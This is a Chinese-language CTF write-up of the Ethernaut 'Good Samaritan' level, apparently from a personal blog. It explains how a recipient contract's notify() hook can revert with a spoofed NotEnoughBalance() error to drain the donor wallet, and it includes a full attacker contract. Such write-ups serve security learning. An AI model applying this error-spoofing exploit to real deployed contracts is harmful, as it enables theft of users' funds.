27.Good Samaritan
2023-07-19 20:13:18 # 04.Ethernaut CTF

Good Samaritan

题目

要求:GoodSamaritan的wallet有很多钱,将其设置为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

分析

题目的大概意思是:有一种代币coin,然后GoodSamaritan拥有一个钱包,这个钱包存有很多coin。GoodSamaritan很慷慨,可以给别人钱,但是每次只能给10元,我们得想办法一次性偷走它的所有钱。

这个向GoodSamaritan要钱的方法是一次申请10元,如果失败,则取走所有钱。本意是不够10元的时候拿走剩余的钱。那么我们可以在donate10()直接给他报错进入catch,就可以拿走所有钱了。

1
2
3
4
5
6
7
8
9
10
11
12
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}

如果余额大于10元,那么就会转账10元

1
2
3
4
5
6
7
8
9
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

进入到coin,在转账的时候,会调用转账目标地址的notify()函数,这是一个钩子函数,挺常见的。但是这里就存在大问题了,典型的未知合约位置方法实现,notify()可控。如果我们在notify中直接触发一个error,那么在requestDonation()中就会捕获到错误,然后转出剩下所有的钱,注意,报错的内容要是NotEnoughBalance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}

那么实现可以是下面这样。注意了,当我们调用transferRemainder()转走所有coin的时候也会调用钩子函数,因此需要判断条件,不能直接revert。

1
2
3
4
5
function notify(uint256 amount) external pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;

interface IGoodSamaritan {
function requestDonation() external returns (bool);
}

contract attacker {

error NotEnoughBalance();

function attack(address _addr) external {
IGoodSamaritan(_addr).requestDonation();
}

function notify(uint256 amount) external pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
}

攻击流程

image-20230719201923175

成功

image-20230719201509325